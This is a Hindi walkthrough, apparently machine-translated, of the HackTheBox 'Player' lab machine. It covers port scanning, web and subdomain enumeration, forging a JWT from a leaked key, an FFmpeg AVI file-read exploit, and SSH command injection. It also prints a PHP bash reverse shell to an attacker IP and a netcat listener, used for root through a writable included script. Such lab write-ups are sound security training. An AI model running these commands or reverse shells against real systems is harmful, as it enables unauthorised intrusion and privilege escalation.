🧝🏿 💆 🐩 बॉक्स द हैक - वॉकथ्रू प्लेयर। FFmpeg शोषण, JWT और विभिन्न वेब लिस्टिंग 🔋 📝 👶🏼

मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं। मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम जेडब्ल्यूटी के माध्यम से जाएंगे, निर्देशिका, उप-डोमेन और बैकअप फ़ाइलों की खोज के रूप में ऐसे वेब एन्यूमरेशन करेंगे, हम एसएसएफ में एफएफएमईजी एनकोडर और आरसीई में एसएसआरएफ का शोषण करेंगे।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि किसी कार्य कंप्यूटर से या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, जैसा कि आप निजी नेटवर्क पर ऐसे लोगों के साथ समाप्त होते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी

विशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:

PWN;
क्रिप्टोग्राफी (क्रिप्टो);
नेटवर्क टेक्नोलॉजीज (नेटवर्क);
रिवर्स (रिवर्स इंजीनियरिंग);
स्टेग्नोग्राफ़ी (स्टेग्नो);
WEB कमजोरियों की खोज और उनका दोहन।

इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।

ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे में जान सकें, मैंने टेलीग्राम में एक चैनल बनाया और आईसीडी के क्षेत्र में किसी भी मुद्दे पर चर्चा करने के लिए एक समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर व्यक्तिगत रूप से विचार करूंगा और सभी का जवाब दूंगा ।

सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।

अन्वेषण

पोर्ट स्कैन

इस मशीन का आईपी एड्रेस 10.10.10.145 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।

10.10.10.145 player.htb

सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम प्रति सेकंड 1000 पैकेट की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

अगला, आपको ज्ञात बंदरगाहों के बारे में अधिक जानकारी एकत्र करने की आवश्यकता है। ऐसा करने के लिए, ए-विकल्प के साथ नैम्प का उपयोग करें।

 nmap -A player.htb -p22,80,6686

इस प्रकार, मेजबान SSH को बंदरगाहों 22 और 6686 पर, साथ ही अपाचे वेब सर्वर को 80 पर चलाता है।

वेब एन्यूमरेशन

सबसे पहले, वेब पर जाएं। लेकिन अफसोस, कुछ भी दिलचस्प नहीं है।

इस मामले में, आपको आमतौर पर निर्देशिकाओं को स्कैन करने की आवश्यकता होती है। ऐसा करने के लिए, एक त्वरित गोबस्टर का उपयोग करें। उन मापदंडों में निर्दिष्ट करें जिन्हें हम निर्देशिका (dir) को स्कैन करना चाहते हैं, साइट (-u), शब्दों की सूची (-w), एक्सटेंशन जो हमें (-x), थ्रेड्स की संख्या (-t) निर्दिष्ट करते हैं।

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

इन निर्देशिकाओं से, एक दिलचस्प लांचर। यह कहता है कि यह एक वीडियो संपादन सेवा है और हमें एक वैध ईमेल की आवश्यकता है।

फॉर्म के साथ थोड़ा खेलने के बाद, मैंने देखा कि यह पेज /launcher/dee8dc8a47256c64630d803a4c40786c.php पर डेटा भेजता है, वहाँ यह जाँच करता है और वापस रीडायरेक्ट करता है।

हमारे पास जो कुछ भी है, कुछ भी नहीं और कुछ भी नहीं देगा। सूची में अगला चरण उप-डोमेन की खोज है। हाल ही में, मुझे wfuzz का उपयोग करने की सलाह देने के बाद, मैं इसका उपयोग करता हूं और दूसरों को भी यही सलाह देता हूं। शीर्ष लेख (-H), शब्दकोश (-w), URL (-u) निर्दिष्ट करें, और प्रतिक्रिया कोड 403 (-hc 403) को बाहर करें।

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403

इस प्रकार, हमें तीन उप-डोमेन मिले जिन्हें / etc / host में जोड़ने की भी आवश्यकता है।

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb

देव पर, केवल एक प्राधिकरण फ़ॉर्म है, चैट पर केवल बेकार चैट, और कुछ संपर्कों के लिए एक फ़ॉर्म का मंचन करने पर।

फॉर्म को थोड़ा परीक्षण करने के बाद, हमारे पास 501.php पर एक रीडायरेक्ट और संकेतित त्रुटि के साथ कुछ डेटा है।

लेकिन फिर से यह पर्याप्त नहीं था। इसके अलावा, मैं आमतौर पर क्या भूल जाता हूं, मैंने फाइलों के बैकअप की जांच करने का फैसला किया। इसलिए खोजा गया था /launcher/dee8dc8a47256c64630d803a4c40786c.phpni

इस कोड में, JWT (टोकन) को डिकोड और सत्यापित किया गया है। चेक के आधार पर, किसी एक पृष्ठ पर पुनर्निर्देशित होता है। यदि टोकन प्रदान नहीं किया गया है, तो हमें इसे सौंपा गया है।

चूँकि हम कुंजी और अंतिम मूल्य जानते हैं, हम इसे सांकेतिक शब्दों में बदलना और एक वैध टोकन प्राप्त कर सकते हैं। यह इस साइट का उपयोग करके किया जा सकता है।

हमें एक कोडेड टोकन मिलता है। और इसे निवेदन में स्थानापन्न करें।

परिणामस्वरूप, हमें मीडिया फ़ाइल अपलोड फ़ॉर्म के साथ प्रस्तुत किया गया था। चित्र डाउनलोड करने के बाद, हमें AVI प्रारूप में मीडिया फ़ाइल डाउनलोड करने की पेशकश की गई थी।

प्रवेश बिंदु

चूंकि एवीआई हमारी फ़ाइल से बनाई गई है, हम एक शोषण का उपयोग कर सकते हैं जो आपको फ़ाइलों को पढ़ने की अनुमति देता है। यहां कोड लिया जा सकता है । आइए इसे देखें और / etc / passwd फ़ाइल देखें।

आइए इसे देखें और / etc / passwd फ़ाइल देखें।

 python3 gen_avi.py file:///etc/passwd passwd.avi

फ़ाइल को डाउनलोड करने और खोलने के बाद, हम फ़ाइल / etc / passwd का निरीक्षण करते हैं।

चूंकि हम फाइलें पढ़ सकते हैं, इसलिए हमें उन लोगों की एक सूची एकत्र करने की आवश्यकता है जिनके बारे में हम जानते हैं। हम contact.php फ़ाइल में त्रुटियों को याद करते हैं। आइए वहां सूचीबद्ध सभी फाइलों को पढ़ें।

और संपर्क फ़ाइल में कुछ भी दिलचस्प नहीं था, फिक्स को पढ़ा नहीं जा सकता था, लेकिन service_config में हम लॉगिन और पासवर्ड ढूंढते हैं।

आइए उनके साथ dev.player.htb में लॉग इन करने की कोशिश करें - डेटा फिट नहीं है, लेकिन दो और SSH हैं। पोर्ट 22 एक विफलता है, लेकिन 6686 पर हमें एक शेल मिलता है।

उपयोगकर्ता

लेकिन खोल सीमित है, और मुझे संस्करण 7.2 याद है और कारनामों की जांच करने का फैसला किया है।

इस प्रकार, अगर हमारे पास क्रेडेंशियल्स हैं, तो हम कमांड इंजेक्शन निष्पादित कर सकते हैं।

वे हमें फ़ाइलों को पढ़ने और लिखने के लिए आदेशों की एक सूची भी प्रदान करते हैं। हम उपयोगकर्ता के झंडे को पढ़ते हैं।

जड़

अब हमें fix.php पढ़ने के लिए पर्याप्त अधिकार होना चाहिए

हमें इसमें दिलचस्प आंकड़े मिले हैं जो पहले से ही dev.player.htb पर फिट हैं। और वहाँ हम परियोजना पाते हैं।

और यह फ़ाइल बाहरी वातावरण से इसे एक्सेस करने के दौरान सुलभ है। यही है, हम खोल को रख सकते हैं।

ऐसा करने के लिए, अपना प्रोजेक्ट खोलें।

अगला, निम्नलिखित शेल के साथ एक फ़ाइल बनाएं।

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?>

अब netcat का उपयोग करके सत्र खोलें।

 nc -lvp 4321

अगला, हम अपनी फ़ाइल की ओर मुड़ते हैं।

गणनाओं को पूरा करने और कुछ और विकल्पों की जांच करने के बाद, हम प्रक्रियाओं की जांच करना बंद कर देते हैं। Pspy64 के लिए धन्यवाद, आप यह निर्धारित कर सकते हैं कि बफ़। स्क्रिप्ट को समय-समय पर 0 के यूआईडी के साथ चलाया जाता है, अर्थात। जड़ के रूप में।

देखते हैं कि स्क्रिप्ट क्या करती है।

इस फ़ाइल में कोड जोड़ने का प्रयास करते समय, हम एक समस्या का सामना करते हैं - हमारे पास अधिकार नहीं हैं।

लेकिन स्क्रिप्ट में, एक और फ़ाइल शामिल है, जिसमें हमें लिखने का अधिकार है।

हम इस फ़ाइल में हमारे द्वारा पहले से उपयोग किए गए शेल को लिखेंगे, और netcat में हम कनेक्शन की प्रतीक्षा कर रहे हैं।

इस तरह हमें अधिकतम विशेषाधिकार प्राप्त होते हैं।

आप टेलीग्राम पर हमसे जुड़ सकते हैं। आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम किसी भी आईटी और सूचना सुरक्षा मुद्दों पर हमेशा एक दूसरे की मदद कर सकते हैं।

बॉक्स द हैक - वॉकथ्रू प्लेयर। FFmpeg शोषण, JWT और विभिन्न वेब लिस्टिंग

अन्वेषण

पोर्ट स्कैन

वेब एन्यूमरेशन

प्रवेश बिंदु

उपयोगकर्ता

जड़

More articles: